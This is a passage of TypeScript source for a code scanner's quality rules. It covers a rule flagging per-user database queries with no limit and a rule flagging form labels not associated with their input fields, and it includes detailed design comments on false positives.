(opening.selfClosing) continue;\n if (!rendersElementChild(element)) continue;\n\n // ── Clause 4: there is something in it a keyboard must reach.\n if (!hasFocusableDescendant(element)) continue;\n\n // ── Clause 5: nobody has already declared semantics in here.\n if (declaresSemantics(element)) continue;\n\n // ── Clause 7: it is a thing that opens, not a thing that is the page.\n if (!isOpenGated(element, parents, baseName)) continue;\n\n const line = opening.loc?.start.line ?? lineAt(file.content, opening.start ?? 0);\n hits.push({ file: file.path, line });\n // Clause 12: one per file. A backdrop and its container both match,\n // and a list of modals in one file matches once per modal; reporting\n // each is twelve copies of the same sentence.\n break;\n }\n }\n return hits;\n },\n};\n","import type { CallExpression, Node, OptionalCallExpression } from \"@babel/types\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\nimport { isCalleeNamed } from \"../../ast/index.js\";\n\n/**\n * QA007 — a per-user query with no limit.\n *\n * `select * from messages where user_id = $1`, served to a page. It is instant\n * for the person who wrote it, because they have four rows. The customer who\n * actually uses the product has forty thousand, and the query, the JSON\n * payload and the render all grow with them until the page stops loading at\n * all. Nothing fails; it just gets slower for exactly the users worth keeping.\n *\n * THE RULE THAT SHIPPED IS NOT THE RULE THAT WAS PROPOSED. The original looked\n * at `.map(` in JSX and asked whether the list being rendered was bounded.\n * That half is gone entirely, and deleting it is the single biggest precision\n * decision here: nine of the thirteen adversarial false positives lived in it,\n * and the query-and-render split across files makes it undecidable for a\n * single-file rule anyway. What is left is a server-query rule with a\n * deliberately small firing surface.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE. Clauses 2, 3, 4 and 8 are questions\n * about ONE query — which table it reads, what its own WHERE says, what\n * happens to its own result. A character window answers them about whatever\n * happens to sit nearby, which in a data-access file is three other queries.\n * The table noun in particular has to come from the call's own argument, not\n * from \"a growth noun appears somewhere in this file\".\n *\n * Every clause below was bought with a false positive. Removing one brings its\n * class back:\n *\n * server file a client component listing its own props is not a query.\n * ORM/SQL read an in-memory `.filter()` over an array already in hand\n * has no row count to bound.\n * user-scoped an unscoped read is a different rule's business, and a\n * read with no WHERE at all is usually a config table.\n * no unique key `where id = $1` returns one row. This clause alone kills\n * the entire lookup-table class.\n * growth noun `apiKeys`, `teamMembers`, `paymentMethods`,\n * `integrations` are all user-scoped and all correctly read\n * whole — a user has six of them, forever. Only tables that\n * grow with USE, not with configuration, can be unbounded.\n * no bound token `limit`, `take`, `cursor`, `.range(`, `.slice(` anywhere\n * in the file. Blunt on purpose, in the style this repo\n * already uses for hasRateLimit / hasDepthLimit: a\n * paginated data layer that bounds in a helper two\n * functions away is bounded, and proving that properly is\n * cross-file work this contract forbids.\n * no time window `gte(createdAt, thirtyDaysAgo)` IS a bound. A date window\n * caps the row count just as effectively as a LIMIT, and\n * flagging it is telling a correct author to fix nothing.\n * path not a bulk an export, a CSV download, a sitemap, a backup or a cron\n * job is SUPPOSED to read everything. That is the feature.\n * not reduced `rows.length`, `.reduce(`, `.map(r => r.id)`, `count(`,\n * `Promise.all(` — the rows never reach a response, so the\n * payload does not grow even though the scan does. Worth\n * an index, not a finding.\n *\n * VOLUME DISCIPLINE. At most one finding per file and three per scan, which is\n * the same `.slice(0, 2)` / `.slice(0, 5)` treatment VC100 and VC103 already\n * apply. A data-access file has a dozen queries with the same shape; twelve\n * copies of one performance note reads as noise no matter how precise each one\n * is.\n *\n * ON SEVERITY. The narrowing's prose asks for `info`; its own heading, and the\n * catalogue contract, both say `medium`. Shipped at `medium` — the engine\n * stamps every hit `confidence: medium` regardless, and `info` findings are\n * not surfaced, which would make the rule indistinguishable from not shipping\n * it. Category is Performance, so it sits outside the security buckets that\n * move a grade.\n */\n\n/* ────────────────────────────── clause 1: server file ───────────────────── */\n\n/**\n * The server-file shapes `file.isServer` does not already cover.\n *\n * `file.isServer` is the shared gate and is used as the primary test — it\n * knows route.ts, middleware, `api/`, `server/`, `functions/`,\n * `edge-functions/`, `\"use server\"`, `Deno.serve` and exported HTTP verbs,\n * which is the spec's list plus the spelling the market actually uses. It does\n * NOT know the two path shapes the spec names that carry no HTTP surface of\n * their own: a Server Actions module, and a data-access layer under `lib/`.\n * Those are added here rather than re-implemented, per the engine's rule that\n * client/server detection lives in context.ts.\n */\nconst DATA_LAYER_PATH =\n /(?:^|\\/)actions\\.[jt]sx?$|(?:^|\\/)actions\\//i;\nconst LIB_DATA_PATH = /(?:^|\\/)lib\\/(?:db|queries|data)(?:\\/|\\.[jt]sx?$)/i;\n\n/**\n * Bulk-read paths, where reading everything is the point (clause 7).\n *\n * An export endpoint that paginated would be broken. So would a sitemap, an\n * RSS feed, a nightly backup or an admin console whose whole job is to show\n * the operator the unfiltered truth.\n */\nconst BULK_PATH =\n /(?:export|download|csv|pdf|print|sitemap|rss|feed|cron|backup|report|admin)/i;\n\n/* ─────────────────────── clause 3: who the WHERE is scoped to ───────────── */\n\n/**\n * A per-user or per-tenant column, in both spellings.\n *\n * One regex for six columns because `userId` and `user_id` are the same column\n * written by two different code generators, and a rule that knows only one of\n * them is silent on half the market.\n */\nconst USER_SCOPE = /\\b(?:user|org|team|workspace|account)_?id\\b/i;\n\n/**\n * Equality on a unique key — the query returns one row, or a handful.\n *\n * Spelled four ways because four ORMs spell it four ways, and missing any one\n * of them re-opens the config/lookup-table class the spec singles out as the\n * thing this clause kills outright.\n */\nconst UNIQUE_KEY_EQ: RegExp[] = [\n // drizzle: eq(scans.id, scanId) / eq(posts.slug, slug)\n /\\beq\\s*\\(\\s*[A-Za-z_$][\\w$]*\\s*\\.\\s*(?:id|slug)\\s*,/,\n // supabase: .eq(\"id\", id)\n /\\beq\\s*\\(\\s*[\"'`](?:id|slug)[\"'`]\\s*,/,\n // prisma: where: { id: … } and its shorthand `where: { userId, id }`.\n // Anchored to the where object, because `id:` in a `select:` projection is\n // naming a column to RETURN, not one to match on. The lookbehind is\n // load-bearing in the other direction: `where: { userId: session.user.id }`\n // is the single most common per-user query there is, and without it the\n // trailing `.id` reads as a unique-key match and silences the rule.\n /\\bwhere\\s*:\\s*\\{[^{}]*(?<![.\\w$])(?:id|slug)\\s*[,:}]/,\n // SQL: `id = $1`, `p.slug = ?`. The trailing [^=>] is load-bearing: without\n // it `.map(id => …)` reads as an equality and silences the rule.\n /\\b(?:[A-Za-z_$][\\w$]*\\s*\\.\\s*)?(?:id|slug)\\s*=[^=>]/i,\n];\n\n/* ─────────────────────── clause 4: tables that grow with use ────────────── */\n\n/**\n * The append-only growth list, as singular stems.\n *\n * Deliberately a closed list and NOT an open \"any table\" match. The difference\n * is the whole clause: `apiKeys`, `teamMembers`, `paymentMethods` and\n * `integrations` are all user-scoped and all correctly read whole, because\n * their row count is a property of the user's CONFIGURATION and stops growing.\n * These sixteen grow with usage and never stop.\n */\nconst GROWTH_NOUNS = new Set([\n \"event\",\n \"log\",\n \"message\",\n \"notification\",\n \"comment\",\n \"post\",\n \"order\",\n \"scan\",\n \"submission\",\n \"response\",\n \"activity\",\n \"view\",\n \"session\",\n \"history\",\n \"item\",\n \"entry\",\n]);\n\n/**\n * Crude singularisation — enough for table names, and no more.\n *\n * `activities → activity`, `entries → entry`, `logs → log`. Deliberately not a\n * general pluraliser: it only has to normalise the sixteen nouns above, and a\n * clever one that turns `statuses` into `statu` buys nothing here.\n */\nfunction singular(word: string): string {\n if (word.endsWith(\"ies\") && word.length > 3) return `${word.slice(0, -3)}y`;\n if (word.endsWith(\"ss\")) return word;\n if (word.endsWith(\"s\") && word.length > 1) return word.slice(0, -1);\n return word;\n}\n\n/**\n * The HEAD noun of a table name, normalised.\n *\n * `scan_events` → event. `userScans` → scan. `public.messages` → message.\n * `activityLog` → log.\n *\n * The head, not any token, and that choice is what keeps the clause closed:\n * matching any token would let `itemPrices` and `sessionSettings` through on\n * the strength of a modifier, which is exactly the open match the spec forbids.\n */\nfunction headNoun(table: string): string {\n const tokens = table\n .replace(/([a-z0-9])([A-Z])/g, \"$1 $2\")\n .replace(/[^A-Za-z0-9]+/g, \" \")\n .trim()\n .split(/\\s+/)\n .filter(Boolean);\n if (tokens.length === 0) return \"\";\n return singular(tokens[tokens.length - 1].toLowerCase());\n}\n\n/* ───────────────────── clauses 5 & 6: whole-file suppressors ───────────── */\n\n/**\n * Any sign the file knows how to bound a result set (clause 5).\n *\n * Whole-file, in the style the repo already uses for `hasRateLimit` and\n * `hasDepthLimit`. The alternative — asking whether THIS query is bounded —\n * accuses every data layer that takes `{ limit }` as a parameter and applies\n * it one function away, which is most of them.\n */\nconst BOUND_TOKEN =\n /\\b(?:limit|take|first|cursor|offset|paginate|page|per_?page)\\b|\\.\\s*(?:range|slice)\\s*\\(/i;\n\n/**\n * A time window (clause 6) — also whole-file.\n *\n * `gte(events.createdAt, since)` bounds the row count as surely as a LIMIT\n * does, and a rule that tells that author to add pagination is wrong. Scoped\n * to the file rather than the query for the same reason as clause 5: the\n * window is routinely computed above the query and passed in.\n */\nconst TIME_WINDOW =\n /\\bgte\\s*\\(|\\bbetween\\b|\\b(?:created_?at|updated_?at|timestamp)\\s*[><]|\\b(?:since|after)\\b/i;\n\n/* ───────────────── clause 8: the rows never reach a response ────────────── */\n\n/**\n * An aggregate or a fan-out inside the query statement itself.\n *\n * `db.select({ n: count() }).from(events)` returns one number however many\n * rows it counted; a query inside `Promise.all([...])` is one leg of a batch\n * whose result shape is decided elsewhere.\n */\nconst REDUCED_IN_PLACE = /\\bcount\\s*\\(|\\bPromise\\s*\\.\\s*all\\s*\\(/;\n\n/** `.length` or `.reduce(` immediately on the result. */\nconst REDUCING_MEMBER = /^\\s*\\.\\s*(?:length\\b|reduce\\s*\\()/;\n\n/** `.map(r => r.id)` — a projection to keys, not a payload. */\nconst ID_PROJECTION = /^\\s*\\.\\s*map\\s*\\(\\s*\\(?\\s*(\\w+)\\s*\\)?\\s*=>\\s*(\\w+)\\s*(?:\\.|\\[)/;\n\n/* ──────────────────────────────── AST plumbing ─────────────────────────── */\n\n/**\n * Statement types that make a tight, meaningful region around a query.\n *\n * The region is what clauses 3 and 8 are asked about, so it has to be the\n * query's own statement and not its enclosing block: a handler that reads\n * `messages where user_id` and, four lines later, `settings where id` would\n * otherwise have the second query's unique-key equality exonerate the first.\n * BlockStatement and the loop/branch statements are deliberately absent for\n * that reason — only the innermost simple statement counts.\n */\nconst STATEMENT_TYPES = new Set([\n \"ExpressionStatement\",\n \"VariableDeclaration\",\n \"ReturnStatement\",\n \"ThrowStatement\",\n]);\n\n/**\n * Walk every node, carrying the innermost enclosing simple statement.\n *\n * Hand-rolled rather than @babel/traverse, matching the engine's other AST\n * rule: traverse needs a scope, and the exported helpers in ../../ast/ hand\n * back a node without its ancestry, which is precisely what the region needs.\n * The statement is tracked on the way DOWN rather than recovered afterwards\n * from source offsets, because recovering it from text means brace-counting\n * through template literals full of SQL — the one file shape this rule is\n * guaranteed to meet.\n */\nfunction eachNodeWithStatement(\n root: Node,\n visit: (node: Node, statement: Node | null) => void,\n): void {\n const descend = (value: unknown, statement: Node | null): void => {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) descend(item, statement);\n return;\n }\n const record = value as Record<string, unknown>;\n let next = statement;\n if (typeof record.type === \"string\") {\n const node = value as Node;\n if (STATEMENT_TYPES.has(node.type)) next = node;\n visit(node, next);\n }\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n descend(record[key], next);\n }\n };\n descend(root, null);\n}\n\ntype AnyCall = CallExpression | OptionalCallExpression;\n\nfunction asCall(node: Node): AnyCall | null {\n if (node.type === \"CallExpression\" || node.type === \"OptionalCallExpression\") {\n return node;\n }\n return null;\n}\n\n/** The receiver of `x.y(...)`, or null when the callee is a bare identifier. */\nfunction calleeObject(call: AnyCall): Node | null {\n const callee = call.callee as Node;\n if (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") {\n return callee.object as Node;\n }\n return null;\n}\n\n/** The name a table argument carries: `scans`, `\"scans\"`, `schema.scans`. */\nfunction tableArgName(node: Node | undefined): string {\n if (!node) return \"\";\n if (node.type === \"Identifier\") return node.name;\n if (node.type === \"StringLiteral\") return node.value;\n if (node.type === \"MemberExpression\" && node.property.type === \"Identifier\") {\n return node.property.name;\n }\n return \"\";\n}\n\n/** `SELECT … FROM <table>` inside a string or template literal. */\nconst SQL_SELECT_FROM = /\\bselect\\b[\\s\\S]{0,600}?\\bfrom\\s+[\"'`[]?([A-Za-z_][\\w$]*)/i;\n\n/**\n * Which table this call reads, or null if it is not an ORM read (clause 2).\n *\n * Four dialects, because the corpus uses four. Drizzle and Supabase are told\n * apart by the ORDER of the chain — drizzle is `.select().from(t)`, Supabase\n * is `.from(\"t\").select()` — which is exact, where a regex for `from` and\n * `select` in the same window is not.\n */\nfunction ormReadTable(call: AnyCall): string | null {\n const callee = call.callee as Node;\n\n // drizzle: db.select(…).from(scans)\n if (isCalleeNamed(callee, \"from\")) {\n const receiver = calleeObject(call);\n const receiverCall = receiver ? asCall(receiver) : null;\n if (receiverCall && isCalleeNamed(receiverCall.callee as Node, \"select\")) {\n return tableArgName(call.arguments[0] as Node | undefined) || null;\n }\n return null;\n }\n\n // supabase: supabase.from(\"messages\").select(\"*\")\n if (isCalleeNamed(callee, \"select\")) {\n const receiver = calleeObject(call);\n const receiverCall = receiver ? asCall(receiver) : null;\n if (receiverCall && isCalleeNamed(receiverCall.callee as Node, \"from\")) {\n const arg = receiverCall.arguments[0] as Node | undefined;\n if (arg && arg.type === \"StringLiteral\") return arg.value;\n }\n return null;\n }\n\n // prisma: prisma.message.findMany(…) — and drizzle's relational\n // db.query.messages.findMany(…), which is the same shape.\n if (isCalleeNamed(callee, \"findMany\")) {\n const receiver = calleeObject(call);\n if (\n receiver &&\n (receiver.type === \"MemberExpression\" || receiver.type === \"OptionalMemberExpression\") &&\n receiver.property.type === \"Identifier\"\n ) {\n return receiver.property.name;\n }\n return null;\n }\n\n return null;\n}\n\n/** `SELECT … FROM t` written as a raw string or tagged template (clause 2). */\nfunction sqlReadTable(node: Node): string | null {\n let text = \"\";\n if (node.type === \"StringLiteral\") {\n text = node.value;\n } else if (node.type === \"TemplateLiteral\") {\n text = node.quasis.map((q) => q.value.cooked ?? q.value.raw).join(\" ? \");\n } else {\n return null;\n }\n const m = SQL_SELECT_FROM.exec(text);\n return m ? m[1] : null;\n}\n\n/**\n * The identifier the query result lands in, for the \"next use\" check.\n *\n * Handles the destructured Supabase shape (`const { data, error } = await …`)\n * as well as a plain binding, because on Supabase the plain binding never\n * happens — the rows always arrive as `data`.\n */\nfunction resultBinding(statement: Node | null): string | null {\n if (!statement || statement.type !== \"VariableDeclaration\") return null;\n const decl = statement.declarations[0];\n if (!decl) return null;\n if (decl.id.type === \"Identifier\") return decl.id.name;\n if (decl.id.type === \"ObjectPattern\") {\n for (const prop of decl.id.properties) {\n if (prop.type !== \"ObjectProperty\") continue;\n const key = prop.key.type === \"Identifier\" ? prop.key.name : \"\";\n if (key !== \"data\" && key !== \"rows\") continue;\n if (prop.value.type === \"Identifier\") return prop.value.name;\n }\n }\n return null;\n}\n\n/**\n * Is the FIRST mention of `name` after the query a reduction?\n *\n * The spec says \"the very next use\", and it means it: a later `.length` in a\n * logging line does not make the rows unrendered. So this looks at the first\n * reference only and stops.\n */\nfunction nextUseReduces(code: string, name: string, from: number): boolean {\n const re = new RegExp(`\\\\b${name.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\")}\\\\b`, \"g\");\n re.lastIndex = from;\n const m = re.exec(code);\n if (!m) return false;\n const tail = code.slice(m.index + m[0].length, m.index + m[0].length + 160);\n if (REDUCING_MEMBER.test(tail)) return true;\n const projection = ID_PROJECTION.exec(tail);\n return projection !== null && projection[1] === projection[2];\n}\n\n/* ──────────────────────────────────── rule ─────────────────────────────── */\n\n/** At most one per file, ~3 per scan — the spec's volume cap. */\nconst MAX_PER_SCAN = 3;\n\nexport const unboundedList: QualityRule = {\n id: \"QA007\",\n title: \"A per-user query with no limit\",\n severity: \"medium\",\n category: \"Performance\",\n description:\n \"This query reads every row a user or tenant owns from a table that only ever grows — messages, events, scans, orders — with no LIMIT, no cursor and no date window. It is fast for a new account and gets slower for every account worth keeping, until the page it feeds stops loading.\",\n fix: \"Add a bound the query itself enforces: a LIMIT with a cursor or offset for pages, or a date window for a feed. Bounding it in the caller does not help — the database still reads and ships every row.\",\n precisionNotes:\n \"Server files only; an ORM or SQL read, identified from the AST rather than a text window; the WHERE must be scoped to a user/tenant column AND carry no unique-key equality; the table's head noun must be on a closed append-only growth list, so configuration tables read whole are never flagged; no bound token (limit/take/cursor/offset/.range/.slice) and no time-window predicate anywhere in the file; bulk-read paths (export, csv, sitemap, cron, backup, admin) exempt; and suppressed when the rows are immediately reduced by .length/.reduce/count()/Promise.all or projected to ids. Capped at one finding per file and three per scan. The render-side half of the original rule — bounding `.map(` in JSX — was deleted outright, not narrowed.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (hits.length >= MAX_PER_SCAN) break;\n\n // Tests, stories, fixtures, mocks, vendored code, seeds, migrations and\n // scripts — clause 1's exclusion list is exactly `file.excluded`.\n if (file.excluded) continue;\n\n // ── Clause 1: a server file.\n const isDataLayer = DATA_LAYER_PATH.test(file.path) || LIB_DATA_PATH.test(file.path);\n if (!file.isServer && !isDataLayer) continue;\n // A file under a server path that is really a React client component\n // cannot be issuing this query at all; whatever it is doing, it is not\n // this defect.\n if (file.isClient) continue;\n\n // ── Clause 7: bulk-read paths are supposed to read everything.\n if (BULK_PATH.test(file.path)) continue;\n\n // ── Clauses 5 and 6: whole-file suppressors. Cheapest gates, and they\n // take most of the corpus out before anything is parsed.\n if (BOUND_TOKEN.test(file.code)) continue;\n if (TIME_WINDOW.test(file.code)) continue;\n\n // ── No AST, no rule. A regex fallback would answer clauses 2, 3, 4 and\n // 8 about a character window instead of a query, which is the whole\n // failure mode this rule is written to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n\n let reported = false;\n\n eachNodeWithStatement(parsed.ast.program as Node, (node, statement) => {\n if (reported) return;\n\n // ── Clause 2: an ORM or SQL read, and the table it names.\n const call = asCall(node);\n const table = call ? ormReadTable(call) : sqlReadTable(node);\n if (!table) return;\n\n // ── Clause 4: the table must grow with use, not with configuration.\n if (!GROWTH_NOUNS.has(headNoun(table))) return;\n\n const start = statement?.start ?? node.start;\n const end = statement?.end ?? node.end;\n if (start == null || end == null) return;\n const region = file.code.slice(start, end);\n\n // ── Clause 3: scoped to a user/tenant column, and not to one row.\n if (!USER_SCOPE.test(region)) return;\n if (UNIQUE_KEY_EQ.some((re) => re.test(region))) return;\n\n // ── Clause 8: the rows never become a payload.\n if (REDUCED_IN_PLACE.test(region)) return;\n const afterQuery = file.code.slice(node.end ?? start, end);\n if (REDUCING_MEMBER.test(afterQuery)) return;\n const binding = resultBinding(statement);\n if (binding && nextUseReduces(file.code, binding, end)) return;\n\n const line = node.loc?.start.line ?? lineAt(file.content, node.start ?? 0);\n hits.push({ file: file.path, line });\n // One per file: a data-access module has a dozen queries of this exact\n // shape, and a dozen copies of one performance note is noise.\n reported = true;\n });\n }\n\n return hits.slice(0, MAX_PER_SCAN);\n },\n};\n","import type { JSXAttribute, JSXElement, JSXOpeningElement, Node } from \"@babel/types\";\nimport type { QualityContext, QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA008 — a label that names nothing.\n *\n * `<label>Email</label><input type=\"email\" />` renders exactly like a labelled\n * field and is not one. The text is styled prose sitting next to an anonymous\n * box: clicking it does not focus the field, a screen reader announces \"edit\n * text, blank\", voice control has no name to say, and every autofill heuristic\n * that keys off the accessible name goes dark. Generators produce it\n * constantly because the visual result is identical and nothing in a preview\n * shows what was lost.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE. \"A `<label>` with no `htmlFor`\" has\n * to be answered about ONE tag, and the tag does not end where a regex thinks\n * it does: `<label className={cn(\"x\", y > 2 && \"z\")}>` closes at the third\n * `>`. Children, attributes and the following sibling are structure, so the\n * check reads structure.\n *\n * THE RULE DOES NOT TRY TO PROVE THE LABEL IS CORRECT. Whether some label\n * somewhere names this input is undecidable single-file — `aria-labelledby`\n * can point at an id generated three files away. So it proves the DEFECT\n * SHAPE instead: a text-only label with no association machinery of any kind,\n * sitting immediately before a bare native field. Everything ambiguous is\n * silence.\n *\n * Every clause was bought with a false positive. Removing one brings its class\n * back:\n *\n * .jsx/.tsx only `.vue`, `.svelte`, `.astro`, `.html`, `.php`, `.erb`\n * spell it `for=`, which is correct there and would read\n * as the defect here. Their labels are not JSX and this\n * rule cannot parse them anyway.\n * no htmlFor/for the association, spelled either way.\n * no id, ever `<label id=\"email-label\">` is the other half of\n * `aria-labelledby=\"email-label\"` on the field. The id\n * may be an expression (`id={labelId}`), so the presence\n * of the attribute is what counts, not its value.\n * no aria-* any aria attribute means somebody was thinking about\n * the accessibility tree; do not second-guess them.\n * no spread `{...getLabelProps()}` (downshift, react-aria,\n * Formik-style wrappers) injects htmlFor/id we cannot\n * see. One spread and the element is undecidable.\n * not self-closing `<label />` names nothing but is also not this defect.\n * text children only every slot spelling — `{children}`, `{props.children}`,\n * `{label}`, `{children(id)}` — renders content this file\n * cannot see, and that content routinely IS the input.\n * no nested control `<label>Email <input/></label>` is the OTHER valid\n * association: implicit wrapping. It needs no htmlFor.\n * no <Capital/> child `<label><Input/></label>`, `<label><Slot/></label>`:\n * the component renders who-knows-what, including a\n * wrapped input. Semantics live in another file.\n * a native field the payoff clause. Without it the rule fires on every\n * follows `<label>` used as a styling wrapper or a section\n * caption. Requiring a bare `<input|select|textarea>`\n * within a short window is what makes the finding\n * \"this text belongs to that box\" rather than a guess.\n * A capitalised `<Input/>` does NOT satisfy it — shadcn,\n * MUI and Chakra all thread an id through their own\n * FormControl, and that is the single largest FP class.\n * no label between if another `<label>` opens before the field, the field\n * is that one's problem, not this one's.\n * field not named `aria-label` / `aria-labelledby` on the input is a\n * complete accessible name already, and `type=\"hidden\"`\n * has nothing to name.\n * repo not linting a repo with eslint-plugin-jsx-a11y already runs\n * `label-has-associated-control`, which is the\n * AST-correct version of this check wired into the\n * author's editor. Telling them again, later, in a\n * security report, is noise by definition.\n *\n * Severity is `low` and the category is Accessibility on purpose: this is a\n * correctness defect for some of an app's users, not a security one, and it\n * must never be the reason a grade moves.\n */\n\n/** The fields a `<label>` is for. Native spellings only — see the doc above. */\nconst CONTROL_TAGS = new Set([\"input\", \"select\", \"textarea\"]);\n\n/**\n * Children that mean the label is already associated, or is a slot.\n *\n * `button` is here beside the three control tags because `<label><button>` is\n * a layout wrapper, not a caption, and nothing about it is this defect.\n */\nconst BANNED_CHILD_TAGS = new Set([\"input\", \"select\", \"textarea\", \"button\"]);\n\n/**\n * How far past `</label>` the field may sit and still be \"the box beside it\".\n *\n * ~200 characters of comment-masked source: enough for a wrapping `<div\n * className=\"...\">` and a line of whitespace, short enough that a field in the\n * next section of the form is not attributed to this label.\n */\nconst CONTROL_WINDOW = 200;\n\n/**\n * Paths this rule stays out of, on top of the engine's shared exclusions.\n *\n * `file.excluded` already covers tests, stories, fixtures, mocks, vendored\n * code and `.md`/`.mdx`. The spec adds docs and examples directories, which\n * are not the same thing: a `docs/` tree of `.tsx` is full of illustrative\n * form snippets written to show markup, not to be operated.\n */\nconst DOC_PATH = /(?:^|\\/)(?:docs?|examples?|demos?)\\//i;\n\n/**\n * \"This repo already lints for this.\"\n *\n * Deliberately matched against package.json only, and against the plugin's own\n * name rather than any config preset that might pull it in transitively:\n * `eslint-config-next` ships jsx-a11y but leaves\n * `label-has-associated-control` off, so treating it as coverage would silence\n * the rule on most of the target market for nothing.\n */\nconst A11Y_LINT = /eslint-plugin-jsx-a11y|jsx-a11y\\/label-has-associated-control/;\n\nfunction repoLintsA11y(ctx: QualityContext): boolean {\n for (const file of ctx.files) {\n if (!/(?:^|\\/)package\\.json$/.test(file.path)) continue;\n // `content`, not `code`: comment masking is for JS, and a `//` inside a\n // registry URL in package.json is not a comment.\n if (A11Y_LINT.test(file.content)) return true;\n }\n return false;\n}\n\n/**\n * Walk every node beneath `root`, structurally.\n *\n * Hand-rolled rather than @babel/traverse because traverse needs a scope and\n * cannot be pointed at a bare sub-node, and because the shared helpers in\n * ../../ast/ cover calls and binary expressions, not JSX. `loc` and the\n * comment arrays carry no nodes and are most of the object graph.\n */\nfunction walkNodes(value: unknown, visit: (node: Node) => void): void {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) walkNodes(item, visit);\n return;\n }\n const record = value as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(value as Node);\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n walkNodes(record[key], visit);\n }\n}\n\n/** The terminal name of a tag: `div`, `motion.div` → div, `Dialog.Trigger` → Trigger. */\nfunction tagName(name: JSXOpeningElement[\"name\"]): string {\n if (name.type === \"JSXIdentifier\") return name.name;\n if (name.type === \"JSXMemberExpression\") return name.property.name;\n if (name.type === \"JSXNamespacedName\") return name.name.name;\n return \"\";\n}\n\n/** A plain lowercase host element — the only kind whose behaviour is decidable here. */\nfunction isNativeTag(name: JSXOpeningElement[\"name\"]): boolean {\n return name.type === \"JSXIdentifier\" && /^[a-z]/.test(name.name);\n}\n\nfunction attributeName(attr: JSXAttribute): string {\n return attr.name.type === \"JSXIdentifier\"\n ? attr.name.name\n : `${attr.name.namespace.name}:${attr.name.name.name}`;\n}\n\n/** The string value of an attribute, whether written bare or in braces. */\nfunction attributeString(attr: JSXAttribute): string | null {\n const value = attr.value;\n if (!value) return null;\n if (value.type === \"StringLiteral\") return value.value;\n if (value.type === \"JSXExpressionContainer\" && value.expression.type === \"StringLiteral\") {\n return value.expression.value;\n }\n return null;\n}\n\n/**\n * Does this `<label>` carry no association machinery at all?\n *\n * False for a spread, for `htmlFor`/`for`, for an `id` of any kind, and for\n * any `aria-*`. Each of those is either the association itself or evidence\n * that one exists somewhere this rule cannot see.\n */\nfunction isBareLabel(opening: JSXOpeningElement): boolean {\n for (const attr of opening.attributes) {\n if (attr.type === \"JSXSpreadAttribute\") return false;\n const name = attributeName(attr).toLowerCase();\n if (name === \"htmlfor\" || name === \"for\") return false;\n if (name === \"id\") return false;\n if (name.startsWith(\"aria-\")) return false;\n }\n return true;\n}\n\n/** What the children walk is looking for. */\ninterface ChildFacts {\n /** Some non-whitespace literal text: the label actually says something. */\n text: boolean;\n /** A `{…}` child, i.e. content rendered from somewhere this file cannot see. */\n slot: boolean;\n /** A nested control (implicit association) or `<button>` (a wrapper, not a caption). */\n control: boolean;\n /** A capitalised or namespaced tag, whose semantics live in another file. */\n component: boolean;\n}\n\n/**\n * Inspect the label's children, descending only through child POSITIONS.\n *\n * Not `walkNodes`, and that matters: walkNodes would descend into attributes\n * too, and a perfectly ordinary `<span className={cn(\"req\")}>*</span>` inside\n * the label would register as a `{expression}` child and silence the rule. The\n * question is what the label RENDERS, not what its markup happens to contain.\n */\nfunction inspectChildren(children: JSXElement[\"children\"], facts: ChildFacts): void {\n for (const child of children) {\n switch (child.type) {\n case \"JSXText\":\n if (child.value.trim()) facts.text = true;\n break;\n case \"JSXExpressionContainer\":\n // `{/* a comment */}` parses as an empty expression. It renders\n // nothing and is not a slot.\n if (child.expression.type !== \"JSXEmptyExpression\") facts.slot = true;\n break;\n case \"JSXSpreadChild\":\n facts.slot = true;\n break;\n case \"JSXFragment\":\n inspectChildren(child.children, facts);\n break;\n case \"JSXElement\": {\n const name = child.openingElement.name;\n if (!isNativeTag(name)) {\n facts.component = true;\n break;\n }\n if (BANNED_CHILD_TAGS.has(tagName(name))) {\n facts.control = true;\n break;\n }\n inspectChildren(child.children, facts);\n break;\n }\n }\n }\n}\n\n/**\n * The bare native field this label is sitting in front of, if there is one.\n *\n * Scans opening tags in source order from the end of `</label>`. Another\n * `<label>` inside the window ends the search — the field after it belongs to\n * that label. A capitalised component is skipped rather than accepted: it may\n * render an input, but it may equally thread an id through a FormControl, and\n * \"may\" is not evidence.\n */\nfunction fieldAfter(labelEnd: number, openings: JSXOpeningElement[]): JSXOpeningElement | null {\n for (const opening of openings) {\n const start = opening.start ?? 0;\n if (start < labelEnd) continue;\n if (start - labelEnd > CONTROL_WINDOW) break;\n if (!isNativeTag(opening.name)) continue;\n const tag = tagName(opening.name);\n if (tag === \"label\") return null;\n if (CONTROL_TAGS.has(tag)) return opening;\n }\n return null;\n}\n\n/** Does the field already have an accessible name, or nothing to name? */\nfunction fieldIsNamed(opening: JSXOpeningElement): boolean {\n for (const attr of opening.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n const name = attributeName(attr).toLowerCase();\n if (name === \"aria-label\" || name === \"aria-labelledby\") return true;\n if (name === \"type\" && attributeString(attr) === \"hidden\") return true;\n }\n return false;\n}\n\nexport const unassociatedLabel: QualityRule = {\n id: \"QA008\",\n title: \"A label that names nothing\",\n severity: \"low\",\n category: \"Accessibility\",\n description:\n \"This <label> has no htmlFor and no id, and the field beside it carries no name of its own, so the two are never connected. Clicking the text does not focus the field, a screen reader announces the input as unlabelled, voice control has no name to address it by, and browser autofill loses the hint it uses to fill the form.\",\n fix: 'Give the field an id and point the label at it — <label htmlFor=\"email\">Email</label><input id=\"email\" />. Wrapping the input inside the label works too and needs no ids.',\n precisionNotes:\n \"JSX files only, outside tests/docs/examples; the label must be non-self-closing with no htmlFor/for, no id, no aria-* and no spread; its children must be literal text with no 